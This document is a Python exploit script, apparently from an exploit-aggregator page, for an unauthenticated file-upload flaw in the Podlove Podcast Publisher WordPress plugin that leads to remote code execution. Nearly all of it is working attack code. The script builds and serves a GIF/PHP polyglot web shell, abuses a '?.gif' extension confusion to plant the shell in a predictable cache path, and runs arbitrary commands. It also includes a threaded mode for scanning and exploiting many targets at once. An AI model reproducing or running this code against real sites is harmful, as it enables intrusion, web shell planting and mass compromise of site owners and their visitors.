## https://sploitus.com/exploit?id=PACKETSTORM:228268
#!/usr/bin/env python3
"""
CVE-2026-13001 - Podlove Podcast Publisher (WordPress) unauthenticated arbitrary
file upload leading to remote code execution.
Affected: Podlove Podcast Publisher <= 4.5.1 (fixed in 4.5.2)
Type: RCE (unauthenticated arbitrary file upload / extension-confusion)
Root cause: two parts of the plugin derive a "file extension" from the same
attacker-supplied source URL with two different parsers that disagree. The
security check (is_image via wp_check_filetype_and_ext) inspects the tail of the
whole URL string, so a query like "?.gif" makes "shell.php?.gif" look like a GIF
and passes the denylist. The on-disk name comes from extract_file_extension(),
which parses only the URL *path* and yields ".php". A GIF/PHP polyglot is written
as <name>_original.php inside wp-content/cache/podlove/ (no execution guard) and
then runs when requested over HTTP.
The plugin fetches the source URL server-side through wp_safe_remote_get(), so the
polyglot must be served from a host WordPress will accept: outside 127.0.0.0/8,
10.0.0.0/8, 0.0.0.0/8, 172.16.0.0/12 and 192.168.0.0/16, on port 80, 443 or 8080.
This tool serves the polyglot from a built-in HTTP server by default; use
--payload-url when an origin is already serving it (e.g. a staging box you control).
Usage:
# Built-in payload server (needs a routable, non-private callback address):
python exploit.py --host target.example.com --command "id"
python exploit.py --host https://target.example.com --callback-host 203.0.113.10
# Use an origin that is already serving the polyglot (skip the built-in server):
python exploit.py --host target.example.com --port 80 \
--payload-url http://203.0.113.10:8080/x.php?.gif \
--payload-write /var/www/html/x.php
# Batch scan:
python exploit.py --list targets.txt --callback-host 203.0.113.10 --workers 20
"""
import argparse
import hashlib
import http.client
import http.server
import re
import secrets
import socket
import ssl
import sys
import threading
import urllib.parse
CVE_ID = "CVE-2026-13001"
VULN_TYPE = "RCE"
# Minimal valid 1x1 GIF89a. Small dimensions on purpose: a bare "GIF89a<?php"
# stub parses as a giant image and makes the server's resize path do pointless
# work, whereas a well-formed 1x1 header is trivial to accept.
_GIF_1x1 = bytes.fromhex(
"47494638396101000100800000" # GIF89a header, 1x1, global colour table
"000000ffffff" # 2-entry colour table
"21f9040100000000" # graphic control extension
"2c00000000010001000002024401003b" # image descriptor + LZW data + trailer
)
# --------------------------------------------------------------------------- #
# Output helpers (console only - never sent to the target)
# --------------------------------------------------------------------------- #
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# Polyglot
# --------------------------------------------------------------------------- #
class Polyglot:
"""A GIF/PHP polyglot with per-run random command parameter and markers.
Using random values keeps nothing brand- or tool-identifiable on the wire or
on disk: the parameter name, the markers and the payload path are all random
hex, recognisable only to the script that generated them.
"""
def __init__(self):
self.param = "q" + secrets.token_hex(3) # GET key the payload reads
self.pre = secrets.token_hex(8) # brackets the command output
self.post = secrets.token_hex(8)
php = "<?php echo '%s'; system($_GET['%s']); echo '%s'; ?>" % (
self.pre, self.param, self.post,
)
self.bytes = _GIF_1x1 + php.encode()
def extract_output(self, body: bytes):
"""Return the command output if the PHP block executed, else None.
When PHP executed, the body is <gif bytes><pre><output><post>.
When it did NOT (file served verbatim, PHP disabled, or patched build
served a static .gif), the body still literally contains the marker
strings inside the un-run source - so we reject any body that still holds
the raw '<?php'/'system(' source text.
"""
if b"<?php" in body or b"system(" in body:
return None
pre = self.pre.encode()
post = self.post.encode()
i = body.find(pre)
j = body.find(post, i + len(pre)) if i != -1 else -1
if i == -1 or j == -1:
return None
return body[i + len(pre):j]
# --------------------------------------------------------------------------- #
# Built-in payload HTTP server
# --------------------------------------------------------------------------- #
class _PayloadHandler(http.server.BaseHTTPRequestHandler):
payload = b""
def do_GET(self): # noqa: N802 (stdlib naming)
self.send_response(200)
self.send_header("Content-Type", "image/gif")
self.send_header("Content-Length", str(len(self.payload)))
self.end_headers()
self.wfile.write(self.payload)
def log_message(self, *args): # silence the default access log
pass
def start_payload_server(bind: str, port: int, payload: bytes):
"""Start a threaded HTTP server serving `payload` for any GET. Returns it."""
handler = type("_H", (_PayloadHandler,), {"payload": payload})
srv = http.server.ThreadingHTTPServer((bind, port), handler)
srv.daemon_threads = True
threading.Thread(target=srv.serve_forever, daemon=True).start()
return srv
def guess_callback_host(target_host: str, target_port: int) -> str:
"""Best-effort local address the target could use to reach us."""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((target_host, target_port))
ip = s.getsockname()[0]
s.close()
return ip
except Exception:
return socket.gethostbyname(socket.gethostname())
# --------------------------------------------------------------------------- #
# HTTP + exploit primitives
# --------------------------------------------------------------------------- #
def _http_get(host, port, use_tls, raw_path, timeout=30):
"""Single GET, no redirect following. Returns (status, body)."""
if use_tls:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
else:
conn = http.client.HTTPConnection(host, port, timeout=timeout)
try:
conn.request("GET", raw_path)
resp = conn.getresponse()
body = resp.read()
return resp.status, body
finally:
conn.close()
def _sanitize_file_name(name: str) -> str:
"""Mirror the plugin: sanitize_title + ASCII translit + [^-a-z0-9_] strip."""
return re.sub(r"[^-a-z0-9_]+", "", name.lower())
def _cache_path(source_url: str, file_name: str, ext: str) -> str:
"""The fully predictable cache path the plugin writes to.
id = md5(raw source_url + sanitized file name); the file lands at
wp-content/cache/podlove/<id[:2]>/<id[2:]>/<name>_original.<ext>
"""
digest = hashlib.md5((source_url + file_name).encode()).hexdigest()
return "/wp-content/cache/podlove/%s/%s/%s_original.%s" % (
digest[:2], digest[2:], file_name, ext,
)
def _attempt(host, port, use_tls, base_path, source_url, poly, command, timeout=30):
"""Silent core: trigger the cache write, then execute. Returns a dict."""
out = {
"trigger_status": None, "write_confirmed": False,
"cache_url": None, "exec_status": None, "gif_status": None,
"output": None, "success": False, "evidence": "",
}
file_name = "i" + secrets.token_hex(6) # sanitized-safe, random
hexed = source_url.encode().hex()
# 1. Trigger the server-side fetch + write. base_path is any front-end URL.
sep = "&" if "?" in base_path else "?"
trigger = "%s%spodlove_image_cache_url=%s&podlove_file_name=%s" % (
base_path, sep, hexed, file_name,
)
t_status, t_body = _http_get(host, port, use_tls, trigger, timeout)
out["trigger_status"] = t_status
# With no width/height the handler readfile()s the freshly written file back,
# so the raw polyglot (incl. literal "<?php") in the body proves the write.
out["write_confirmed"] = b"GIF8" in t_body and b"<?php" in t_body
# 2. Execute: request the .php cache file directly (Apache runs the PHP).
php_path = _cache_path(source_url, file_name, "php")
out["cache_url"] = php_path
exec_path = "%s?%s=%s" % (php_path, poly.param, urllib.parse.quote(command))
e_status, e_body = _http_get(host, port, use_tls, exec_path, timeout)
out["exec_status"] = e_status
output = poly.extract_output(e_body)
if e_status == 200 and output is not None:
out["output"] = output
first = output.strip().splitlines()[0].decode(errors="replace") if output.strip() else "(empty)"
out["success"] = True
out["evidence"] = "RCE confirmed - '%s' output: %s" % (command, first)
return out
# Not executed. Probe the .gif twin to tell 'patched' from 'broken'.
gif_path = _cache_path(source_url, file_name, "gif")
g_status, _ = _http_get(host, port, use_tls, gif_path, timeout)
out["gif_status"] = g_status
if e_status == 404 and g_status == 200:
out["evidence"] = "not vulnerable - content-derived .gif written, .php 404 (patched)"
elif e_status == 200:
out["evidence"] = "file written but PHP not executed (execution disabled under wp-content?)"
else:
out["evidence"] = "no execution evidence (.php %s, .gif %s)" % (e_status, g_status)
return out
# --------------------------------------------------------------------------- #
# Payload origin setup (built-in server vs external URL)
# --------------------------------------------------------------------------- #
def setup_origin(args, poly):
"""Return (source_url, server_or_None).
Either point at an operator-supplied origin (--payload-url) or start a local
HTTP server and build a source URL that reaches it. The URL always has a path
ending in .php (becomes the on-disk extension) and a query ending in .gif
(defeats the extension denylist).
"""
if args.payload_write:
with open(args.payload_write, "wb") as fh:
fh.write(poly.bytes)
if args.payload_url:
return args.payload_url, None
cb_host = args.callback_host or guess_callback_host(
args.host or "127.0.0.1", args.port,
)
srv = start_payload_server(args.callback_bind, args.callback_port, poly.bytes)
path = "/" + secrets.token_hex(6) + ".php"
source_url = "http://%s:%d%s?.gif" % (cb_host, args.callback_port, path)
return source_url, srv
# --------------------------------------------------------------------------- #
# Scan mode
# --------------------------------------------------------------------------- #
def _parse_target(line: str, default_port: int, default_path: str = "/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urllib.parse.urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def _try_exploit(host, port, use_tls, path, source_url, poly, command):
"""Silent probe for scan mode. Returns (success, evidence). Never prints."""
try:
r = _attempt(host, port, use_tls, path, source_url, poly, command)
return r["success"], r["evidence"]
except Exception as e:
return False, "unreachable (%s)" % e.__class__.__name__
def scan(args, poly, source_url):
import concurrent.futures
with open(args.list) as f:
targets = [_parse_target(l, args.port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {args.workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, path, source_url, poly, args.command)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=args.workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------- #
# Single-target exploit
# --------------------------------------------------------------------------- #
def exploit(host, port, use_tls, path, source_url, poly, command):
header(host, port)
step(1, "Payload origin: %s" % source_url)
step(2, "Triggering server-side fetch + cache write (unauthenticated)...")
r = _attempt(host, port, use_tls, path, source_url, poly, command)
print(" trigger -> HTTP %s%s" % (
r["trigger_status"],
" (write confirmed: file readfile()d back)" if r["write_confirmed"] else "",
))
step(3, "Requesting the written cache file to execute PHP...")
print(" %s -> HTTP %s" % (r["cache_url"], r["exec_status"]))
if r["success"]:
section("COMMAND OUTPUT", r["output"].decode(errors="replace"))
done(True, r["evidence"])
if r["gif_status"] is not None:
print(" %s -> HTTP %s" % (r["cache_url"][:-4] + ".gif", r["gif_status"]))
done(False, r["evidence"])
# --------------------------------------------------------------------------- #
# CLI
# --------------------------------------------------------------------------- #
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host/path)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=80, help="Target port (default: 80)")
parser.add_argument("--command", default="id", help="Command to execute on the target (default: id)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
parser.add_argument("--callback-host", default=None,
help="Address the TARGET uses to reach our payload server. "
"Must be routable and non-private (default: auto-detect).")
parser.add_argument("--callback-port", type=int, default=8080,
help="Port for the built-in payload server; must be 80, 443 or 8080 "
"(WordPress rejects other ports). Default: 8080")
parser.add_argument("--callback-bind", default="0.0.0.0",
help="Local bind address for the built-in payload server (default: 0.0.0.0)")
parser.add_argument("--payload-url", default=None,
help="Use an origin that is ALREADY serving the polyglot instead of "
"starting the built-in server. Path must end in .php, query in .gif "
"(e.g. http://203.0.113.10:8080/x.php?.gif).")
parser.add_argument("--payload-write", default=None, metavar="PATH",
help="Also write the generated GIF/PHP polyglot to PATH "
"(stage it into a web docroot you control).")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
poly = Polyglot()
source_url, server = setup_origin(args, poly)
if args.list:
scan(args, poly, source_url)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls: use_tls = True
if args.no_tls: use_tls = False
exploit(host, port, use_tls, path, source_url, poly, args.command)